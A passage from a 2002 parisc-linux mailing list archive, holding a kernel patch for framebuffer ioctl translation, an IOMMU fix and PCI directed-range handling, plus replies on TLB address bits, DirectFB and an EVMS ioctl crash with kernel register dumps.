Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14254

Hi all,

I need to review this myself one more time after I had some sleep.
This is a set of misc changes I have outstanding.
(also stored on ftp.parisc-linux.org:patches/sba_misc.diff)

o SBA SMP bug fix from Alex Williamson
o ioctl32.c FB wrapper enabled for FB support
o add a warning to indicate we are ignoring a "directed" MMIO
  range that a given elroy is programmed to forward.
  Because of possible overlaps with distributed ranges, it's
  non-trivial to request_resource. Still thinking about how
  to do this right. May need to move resource mgt into
  lba_fixup_bus() where we know whether PCI devices are below
  an elroy.

grant

Index: arch/parisc/kernel/ioctl32.c
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/ioctl32.c,v
retrieving revision 1.9
diff -u -p -r1.9 ioctl32.c
--- arch/parisc/kernel/ioctl32.c	2002/03/03 05:35:11	1.9
+++ arch/parisc/kernel/ioctl32.c	2002/03/07 07:48:08
@@ -83,6 +83,8 @@
 #include <linux/sonet.h>
 #include <linux/atm_suni.h>
 
+#include <asm/module.h>	/* get #define module_map() */
+
 /* Use this to get at 32-bit user passed pointers. 
    See sys_sparc32.c for description about these. */
 #define A(__x) ((unsigned long)(__x))
@@ -453,6 +455,7 @@ static inline int hdio_getgeo(unsigned i
 	return err ? -EFAULT : 0;
 }
 
+
 #if 0
 /* looks like SPARC only - eg sbus video */
 struct  fbcmap32 {
@@ -556,6 +559,7 @@ static inline int fbiogscursor(unsigned 
 	set_fs (old_fs);
 	return ret;
 }
+#endif /* 0 */
 
 struct fb_fix_screeninfo32 {
 	char			id[16];
@@ -655,21 +659,36 @@ static int fb_ioctl_trans(unsigned int f
 	if (err)
 		goto out;
 	switch (cmd) {
+		struct fb_fix_screeninfo32 fix32;
 	case FBIOGET_FSCREENINFO:
-		err = __copy_to_user((char *)((struct fb_fix_screeninfo32 *)arg)->id, (char *)fix.id, sizeof(fix.id));
-		err |= __put_user((__u32)(unsigned long)fix.smem_start, &((struct fb_fix_screeninfo32 *)arg)->smem_start);
-		err |= __put_user(fix.smem_len, &((struct fb_fix_screeninfo32 *)arg)->smem_len);
-		err |= __put_user(fix.type, &((struct fb_fix_screeninfo32 *)arg)->type);
-		err |= __put_user(fix.type_aux, &((struct fb_fix_screeninfo32 *)arg)->type_aux);
-		err |= __put_user(fix.visual, &((struct fb_fix_screeninfo32 *)arg)->visual);
-		err |= __put_user(fix.xpanstep, &((struct fb_fix_screeninfo32 *)arg)->xpanstep);
-		err |= __put_user(fix.ypanstep, &((struct fb_fix_screeninfo32 *)arg)->ypanstep);
-		err |= __put_user(fix.ywrapstep, &((struct fb_fix_screeninfo32 *)arg)->ywrapstep);
-		err |= __put_user(fix.line_length, &((struct fb_fix_screeninfo32 *)arg)->line_length);
-		err |= __put_user((__u32)(unsigned long)fix.mmio_start, &((struct fb_fix_screeninfo32 *)arg)->mmio_start);
-		err |= __put_user(fix.mmio_len, &((struct fb_fix_screeninfo32 *)arg)->mmio_len);
-		err |= __put_user(fix.accel, &((struct fb_fix_screeninfo32 *)arg)->accel);
-		err |= __copy_to_user((char *)((struct fb_fix_screeninfo32 *)arg)->reserved, (char *)fix.reserved, sizeof(fix.reserved));
+		memset(&fix32, 0, sizeof(fix32));
+		memcpy(fix32.id, fix.id, sizeof(fix32.id));
+		fix32.smem_start = (__u32)(unsigned long)fix.smem_start;
+		fix32.smem_len	= fix.smem_len;
+		fix32.type	= fix.type;
+		fix32.type_aux	= fix.type_aux;
+		fix32.visual	= fix.visual;
+		fix32.xpanstep	= fix.xpanstep;
+		fix32.ypanstep	= fix.ypanstep;
+		fix32.ywrapstep = fix.ywrapstep;
+		fix32.line_length = fix.line_length;
+		fix32.mmio_start = (__u32)(unsigned long)fix.mmio_start;
+		fix32.mmio_len	= fix.mmio_len;
+		fix32.accel	= fix.accel;
+		memcpy(fix32.reserved, fix.reserved, sizeof(fix32.reserved));
+		err = __copy_to_user((void *) arg, (const void *) &fix32, sizeof(fix32));
+
+printk("fix  : %lx %x  %x %x %x  %x %x %x %x  %lx %x %x\n",
+	fix.smem_start, fix.smem_len,
+	fix.type, fix.type_aux, fix.visual,
+	fix.xpanstep, fix.ypanstep, fix.ywrapstep, fix.line_length,
+	fix.mmio_start, fix.mmio_len, fix.accel);
+printk("fix32: %x %x  %x %x %x  %x %x %x %x  %x %x %x\n",
+	fix32.smem_start, fix32.smem_len,
+	fix32.type, fix32.type_aux, fix32.visual,
+	fix32.xpanstep, fix32.ypanstep, fix32.ywrapstep, fix32.line_length,
+	fix32.mmio_start, fix32.mmio_len, fix32.accel);
+
 		break;
 	case FBIOGETCMAP:
 		err = __copy_to_user((char *)A(red), cmap.red, cmap.len * sizeof(__u16));
@@ -690,7 +709,6 @@ out:	if (cmap.red) kfree(cmap.red);
 	if (cmap.transp) kfree(cmap.transp);
 	return err;
 }
-#endif
 
 static int hdio_ioctl_trans(unsigned int fd, unsigned int cmd, unsigned long arg)
 {
@@ -2822,6 +2840,7 @@ COMPATIBLE_IOCTL(FBIOGCURMAX)
 #endif
 COMPATIBLE_IOCTL(FBIOGET_VSCREENINFO)
 COMPATIBLE_IOCTL(FBIOPUT_VSCREENINFO)
+
 COMPATIBLE_IOCTL(FBIOPAN_DISPLAY)
 COMPATIBLE_IOCTL(FBIOGET_FCURSORINFO)
 COMPATIBLE_IOCTL(FBIOGET_VCURSORINFO)
@@ -3365,10 +3384,9 @@ HANDLE_IOCTL(BLKFRAGET, w_long)
 HANDLE_IOCTL(BLKSECTGET, w_long)
 HANDLE_IOCTL(BLKPG, blkpg_ioctl_trans)
 
-#if 0
+HANDLE_IOCTL(FBIOGET_FSCREENINFO, fb_ioctl_trans)
 HANDLE_IOCTL(FBIOGETCMAP, fb_ioctl_trans)
 HANDLE_IOCTL(FBIOPUTCMAP, fb_ioctl_trans)
-#endif
 
 HANDLE_IOCTL(HDIO_GET_KEEPSETTINGS, hdio_ioctl_trans)
 HANDLE_IOCTL(HDIO_GET_UNMASKINTR, hdio_ioctl_trans)
Index: arch/parisc/kernel/sba_iommu.c
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/sba_iommu.c,v
retrieving revision 1.64
diff -u -p -r1.64 sba_iommu.c
--- arch/parisc/kernel/sba_iommu.c	2001/11/30 23:50:01	1.64
+++ arch/parisc/kernel/sba_iommu.c	2002/03/07 07:48:09
@@ -898,10 +898,6 @@ sba_unmap_single(struct pci_dev *dev, dm
 	ioc = GET_IOC(dev);
 	ASSERT(ioc);
 
-#if DELAYED_RESOURCE_CNT > 0
-	d = &(ioc->saved[ioc->saved_cnt]);
-#endif
-
 	offset = iova & ~IOVP_MASK;
 
 	DBG_RUN("%s() iovp 0x%lx/%x\n",
@@ -912,12 +908,14 @@ sba_unmap_single(struct pci_dev *dev, dm
 	size = ROUNDUP(size, IOVP_SIZE);
 
 	spin_lock_irqsave(&ioc->res_lock, flags);
+
 #ifdef CONFIG_PROC_FS
 	ioc->usingle_calls++;
 	ioc->usingle_pages += size >> IOVP_SHIFT;
 #endif
 
 #if DELAYED_RESOURCE_CNT > 0
+	d = &(ioc->saved[ioc->saved_cnt]);
 	d->iova = iova;
 	d->size = size;
 	if (++(ioc->saved_cnt) >= DELAYED_RESOURCE_CNT) {
Index: arch/parisc/kernel/lba_pci.c
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/lba_pci.c,v
retrieving revision 1.48
diff -u -p -r1.48 lba_pci.c
--- arch/parisc/kernel/lba_pci.c	2002/01/25 22:58:50	1.48
+++ arch/parisc/kernel/lba_pci.c	2002/03/07 07:48:10
@@ -34,6 +34,7 @@
 #include <linux/kernel.h>
 #include <linux/spinlock.h>
 #include <linux/init.h>		/* for __init and __devinit */
+/* #define PCI_DEBUG	enable ASSERT */
 #include <linux/pci.h>
 #include <linux/ioport.h>
 #include <linux/slab.h>
@@ -939,7 +940,7 @@ LBA_PORT_IN(32, 0)
 #define LBA_PORT_OUT(size, mask) \
 static void lba_astro_out##size (struct pci_hba_data *d, u16 addr, u##size val) \
 { \
-	ASSERT(bus != NULL); \
+	ASSERT(d != NULL); \
 	DBG_PORT("%s(0x%p, 0x%x, 0x%x)\n", __FUNCTION__, d, addr, val); \
 	WRITE_REG##size(val, LBA_ASTRO_PORT_BASE + addr); \
 	if (LBA_DEV(d)->hw_rev < 3) \
@@ -1181,7 +1182,8 @@ lba_legacy_resources(struct parisc_devic
 	** "Directed" ranges are used when the "distributed range" isn't
 	** sufficient for all devices below a given LBA.  Typically devices
 	** like graphics cards or X25 may need a directed range when the
-	** bus has multiple slots (ie multiple devices).
+	** bus has multiple slots (ie multiple devices) or the device
+	** needs more than the typical 4 or 8MB a distributed range offers.
 	**
 	** The main reason for ignoring it now frigging complications.
 	** Directed ranges may overlap (and have precedence) over
@@ -1191,6 +1193,26 @@ lba_legacy_resources(struct parisc_devic
 	** since they may be assigned a directed range which overlaps
 	** an existing (but unused portion of) distributed range.
 	*/
+	r = &(lba_dev->hba.elmmio_space);
+	r->name  = "extra LBA PCI LMMIO";
+	r->flags = IORESOURCE_MEM;
+	r->start = READ_REG32(pa_dev->hpa + LBA_ELMMIO_BASE);
+	r->end   = 0;
+
+	/* check Range Enable bit */
+	if (r->start & 1) {
+		/* First baby step to getting Direct Ranges listed in /proc.
+		** AFAIK, only Sprockets PDC will setup a directed Range.
+		*/
+
+		r->start &= ~1;
+		r->end    = r->start;
+		r->end   += ~READ_REG32(pa_dev->hpa + LBA_ELMMIO_MASK);
+		printk(KERN_DEBUG "WARNING: Ignoring enabled ELMMIO BASE 0x%0x  SIZE 0x%x\n",
+			r->start,
+			r->end + 1);
+
+	}
 
 	r = &(lba_dev->hba.io_space);
 	r->name  = "LBA PCI I/O Ports";
@@ -1240,7 +1262,7 @@ lba_hw_init(struct lba_device *d)
 #endif	/* DEBUG_LBA_PAT */
 
 #ifdef __LP64__
-#warning Need to add support for PDC_PAT_IO "Get slot status" - OLAR support
+#warning FIXME add support for PDC_PAT_IO "Get slot status" - OLAR support
 #endif
 
 #ifdef PDC_PAT_BUG
Index: include/asm-parisc/pci.h
===================================================================
RCS file: /var/cvs/linux/include/asm-parisc/pci.h,v
retrieving revision 1.47
diff -u -p -r1.47 pci.h
--- include/asm-parisc/pci.h	2002/02/28 07:15:36	1.47
+++ include/asm-parisc/pci.h	2002/03/07 07:48:10
@@ -53,6 +53,7 @@ struct pci_hba_data {
 	struct resource bus_num;	/* PCI bus numbers */
 	struct resource io_space;	/* PIOP */
 	struct resource lmmio_space;	/* bus addresses < 4Gb */
+	struct resource elmmio_space;	/* additional bus addresses < 4Gb */
 	unsigned long   lmmio_space_offset;  /* CPU view - PCI view */
 	void *          iommu;          /* IOMMU this device is under */
 	/* REVISIT - spinlock to protect resources? */



From - Thu Nov 08 21:21:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FB on c3k
Date: Thu, 7 Mar 2002 11:03:39 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <20020307110339.A1590@solo.franken.de>
References: <20020306080101.B6A874859@dsl2.external.hp.com> <20020307002239.A9224@solo.franken.de> <tsbogend@alpha.franken.de> <20020307073117.4C572482F@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621131 4170 80.91.229.3 (22 Nov 2014 01:52:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  7 03:06:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (pD951C3FB.dip.t-dialin.net [217.81.195.251])
	by dsl2.external.hp.com (Postfix) with ESMTP id 052DC4856
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Mar 2002 03:06:21 -0700 (MST)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id g27A3dn01820;
	Thu, 7 Mar 2002 11:03:39 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020307073117.4C572482F@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Thu, Mar 07, 2002 at 12:31:16AM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14255

On Thu, Mar 07, 2002 at 12:31:16AM -0700, Grant Grundler wrote:
> Thomas Bogendoerfer wrote:
> > No jsm is right, the U bit doesn't matter, if we set the right
> > physical address in the TLB. I really don't understand why it's
> > needed to supply more than 40bit,
> 
> B2600 has PA-8600. Maybe PA-8600 needs 44 bits of physical address?
> PA-8000 only needed 40-bits, iirc.
> I thought N-class (PA-8500) used 44-bits.

after sleeping over the problem, I believe we were short just one bit. We
extracted 32 bits from the PTE. The lower 5 bits are zeroed and will
be the 4 size bits and the one 0 bit in the TLB. That leaves 27 bits for
the physical page number. Adding the 12 offset bits for 4k pages gives us
just 39 bits, but we need 40. So instead of the change 32 -> 52 a
change from 32 -> 33 should do the same. On the other side using all
bits shouldn't matter and we are prepared for 44 bit and more. BTW.
isn't our current PDC space expansion wrong for "odd" sized address
spaces ? It should work for 48 and 56, but not for anything else.
Or do I miss something ?

I'm packing for Cebit at the moment, and will be away for 2 weeks. So
I can't check my theory in the next days. I will have a J6700 at Cebit
to play with, but I don't think I'll get spare time in the next couple
of days.

> I tried it with 32-bit kernel on c3k.  That hpmc'd.
> (Vis-EG, 1600x1200 8bit).
> Are you using 64-bit kernel?

yes,  with your last ioctl32 changes. I need to recheck my first entry.S
hack for the narrow mode pa2.0 tlb handler. I think my assembler code
just sucks and setting up the tlbs the same way as for wide mode,
should get us X with 32-bit kernels, too.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]



From - Thu Nov 08 21:21:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FB on c3k
Date: Thu, 7 Mar 2002 09:00:51 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <20020307090051.D30290@systemhalted>
References: <20020306080101.B6A874859@dsl2.external.hp.com> <20020307002239.A9224@solo.franken.de> <tsbogend@alpha.franken.de> <20020307073117.4C572482F@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621131 4175 80.91.229.3 (22 Nov 2014 01:52:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  7 07:00:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id CF8FE4861
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Mar 2002 07:00:07 -0700 (MST)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id g27E0px30513;
	Thu, 7 Mar 2002 09:00:51 -0500
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020307073117.4C572482F@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Thu, Mar 07, 2002 at 12:31:16AM -0700
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14256

On Thu, Mar 07, 2002 at 12:31:16AM -0700, Grant Grundler wrote:
> Thomas Bogendoerfer wrote:
> > right of me is a monitor connected to a B2600 with a X screen on it :-)
> 
> Cool!
>

Speaking of framebuffers. 

Anyone working with DirectFB? (http://www.directfb.org)

I just recently compiled DirectFB on our 715/50 cluster, so I can get
a lightweight library ontop of fbdev (thanks for moral support Fleedwood!)

The only supported mode is RGB332 which is like a fixed index 8-bit vis.
It's displaying stuff (I think, with wrong colours). I'm just at a loss 
to find the right colour palette for 3,3,2 ? :)

More research needed!

c. 



From - Thu Nov 08 21:21:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] evms-0.9.1 && hppa (follow ...)
Date: Thu, 7 Mar 2002 15:32:31 +0100
Lines: 143
Approved: news@gmane.org
Message-ID: <OF0AD397FF.17ED40BE-ONC1256B75.004D4BB9@com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621132 4177 80.91.229.3 (22 Nov 2014 01:52:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  7 07:26:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2F8C2485F
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Mar 2002 07:26:16 -0700 (MST)
Original-Received: from mastercard.com (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d597dce8f74@epirel991.europay.com>;
 Thu, 7 Mar 2002 15:26:18 +0100
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.8 |June 18, 2001) at
 03/07/2002 03:32:29 PM
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14257

Hello Grant,

Thanks a lot.

I am not quiet sure to be absolutely right but for a first test, I only
change "user_parms->buffer_address" by "tmp.buffer_address"
and the system does not anymore crashes:

--ldev_mgr: scsi: Channel =3D 0, Id =3D 6, Lun =3D 0, Capacity =3D 17773524
--ldev_mgr: scsi: Channel =3D 0, Id =3D 3, Lun =3D 0, Capacity =3D 4194685
--evms: evms.c, evms_ioctl_cmd_sector_io call, ckp7pp.
--evms: evms.c, evms_ioctl_cmd_sector_io call, ckp8; io_size=3D271570960.
--evms: evms.c, evms_ioctl_cmd_sector_io call, ckp8; rc=3D0.
--evms: evms.c, evms_ioctl_cmd_sector_io call, ckp9; rc=3D0.
--evms: evms.c, evms_ioctl_cmd_sector_io call, ckp10.
--evms: evms.c, evms_ioctl_cmd_sector_io call, ckp11.
evms_vgscan(267): unaligned access to 0x00022efe at ip=3D0x40207d8f
--ldev_mgr: unrecognized device major : 58

--ldev_mgr: unrecognized device major : 9
--ldev_mgr: found SCSI major : 66 - searching for disks
--ldev_mgr: scsi: major name =3D sd
--ldev_mgr: scsi: number of real devices =3D 0


--ldev_mgr: found SCSI major : 65 - searching for disks
--ldev_mgr: scsi: number of real devices =3D 0
--ldev_mgr: found SCSI major : 8 - searching for disks
--ldev_mgr: scsi: major name =3D sd
--ldev_mgr: scsi: number of real devices =3D 3
--ldev_mgr: scsi: Channel =3D 0, Id =3D 5, Lun =3D 0, Capacity =3D 17773524
--ldev_mgr: scsi: Channel =3D 0, Id =3D 6, Lun =3D 0, Capacity =3D 17773524
--ldev_mgr: scsi: Channel =3D 0, Id =3D 3, Lun =3D 0, Capacity =3D 4194685
--evms: evms.c, evms_ioctl_cmd_sector_io call, ckp7pp.
--evms: evms.c, evms_ioctl_cmd_sector_io call, ckp8; io_size=3D271570960.
--evms: evms.c, evms_ioctl_cmd_sector_io call, ckp8; rc=3D0.
--evms: evms.c, evms_ioctl_cmd_sector_io call, ckp9; rc=3D0.
--evms: evms.c, evms_ioctl_cmd_sector_io call, ckp10.
--evms: evms.c, evms_ioctl_cmd_sector_io call, ckp11.

As you can see it is not yes perfect because: "evms_vgscan(267): unaligned
access to 0x00022efe at ip=3D0x40207d8f"
and also logs a lot of data page fault:

Mar  7 14:56:03 palinux kernel: do_page_fault() pid=3D267 command
=3D'evms_vgscan' type=3D15 address=3D0x00000000
Mar  7 14:56:03 palinux kernel:
Mar  7 14:56:03 palinux kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Mar  7 14:56:03 palinux kernel: PSW: 00000000000001101111111100001111 Not
tainted
Mar  7 14:56:03 palinux kernel: r00-03  00000000 40070db4 4020910b faf00a80
Mar  7 14:56:03 palinux kernel: r04-07  4008572c 00000000 00000000 00024b00
Mar  7 14:56:03 palinux kernel: r08-11  40240174 000c0e10 000cdc20 000cdae0
Mar  7 14:56:03 palinux kernel: r12-15  00000000 000cdc30 00000000 00000000
Mar  7 14:56:03 palinux kernel: r16-19  00000000 000b2408 00017800 4008572c
Mar  7 14:56:03 palinux kernel: r20-23  40027392 40084dc4 4005f750 4023fc94
Mar  7 14:56:03 palinux kernel: r24-27  00000000 40070db4 00000009 00021b78
Mar  7 14:56:03 palinux kernel: r28-31  00000004 4022b7d4 faf00c40 4020910b
Mar  7 14:56:03 palinux kernel: sr0-3   000003c7 000003c7 00000000 000003c7
Mar  7 14:56:03 palinux kernel: sr4-7   000003c7 000003c7 000003c7 000003c7
Mar  7 14:56:03 palinux kernel:
Mar  7 14:56:03 palinux kernel: IASQ: 000003c7 000003c7 IAOQ: 4005f79b
4005f79f
Mar  7 14:56:03 palinux kernel:  IIR: 0ca01086    ISR: 000003c7  IOR:
00000000
Mar  7 14:56:03 palinux kernel:  CPU:        0   CR30: 16568000 CR31:
10398000
Mar  7 14:56:03 palinux kernel:  ORIG_R28: 00000000

But that is in user space and there gdb (or ddd) will help me.
I will transmit your discover to Kevin it will certainly also help for
i386.

Humm ... have you an idea why this problem did not appears for this i386 or
ppc (the two official supported till now)?

Thanks again for great help,
  Joel

PS: about "getting stack unwinds for problems like this would be really
nice...(hint hint)"
is there somewhere something like which could be modified to hppa (I do not
have a wide skill in programing in user space and none in kernel space, so
I am not sure to be helpfull)



                                                                           =
                                          =20
                    Grant Grundler                                         =
                                          =20
                    <grundler@dsl2.extern        To:     "Jo=EBl Soete" <js=
o@europay.com>                              =20
                    al.hp.com>                   cc:     parisc-linux@lists=
.parisc-linux.org                         =20
                                                 Subject:     Re: [parisc-l=
inux] evms-0.9.1 && hppa (follow ...)     =20
                    06-03-02 11:19 PM                                      =
                                          =20
                                                                           =
                                          =20
                                                                           =
                                          =20




"=3D?iso-8859-1?Q?Jo=3DEBl_Soete?=3D" wrote:

>           printk(KERN_ERR "--evms: %s, %s call, ckp7p: io_sector_offset
> =3D%llu.\n", __FILE__ , __FUNCTION__, io_sector_offset );
>           user_buffer_ptr =3D user_parms->buffer_address;
>           printk(KERN_ERR "--evms: %s, %s call, ckp7pp.\n", __FILE__ ,
> __FUNCTION__ );
....

> So it seems to failled on the assignement: "user_buffer_ptr =3D
> user_parms->buffer_address;" . That is over my understanding without much
> help. Any idea ?

Could it be that "user_parms->buffer_address" should really be
"tmp->buffer_address"?

Just wondering if the copy_from_user() higher up in the code means
arg points to something in userspace. getting stack unwinds
for problems like this would be really nice...(hint hint)

grant






**********************************************************************
This e-mail and any attachments to it may contain confidential information =
which is strictly intended for the use of the authorised recipient.  If you=
 have received this e-mail in error, please delete it and notify the sender=
 by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************



From - Thu Nov 08 21:21:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Herb Radford <herbr@magma.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] J3515 10/100 NIC
Date: Thu, 07 Mar 2002 11:17:28 -0500
Lines: 113
Approved: news@gmane.org
Message-ID: <5.1.0.14.0.20020307110937.026af020@mail.magma.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416621132 4181 80.91.229.3 (22 Nov 2014 01:52:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  7 09:17:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.istop.com (cpu1693.adsl.bellglobal.com [206.47.27.174])
	by dsl2.external.hp.com (Postfix) with ESMTP id 880F2486B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Mar 2002 09:17:43 -0700 (MST)
Original-Received: from old@istop.magma.ca (herbr.istop.com [216.187.107.13])
	by ns.istop.com (Postfix) with ESMTP id 61FD21705A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Mar 2002 11:17:57 -0500 (EST)
X-Sender: herbr@mail.magma.ca
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
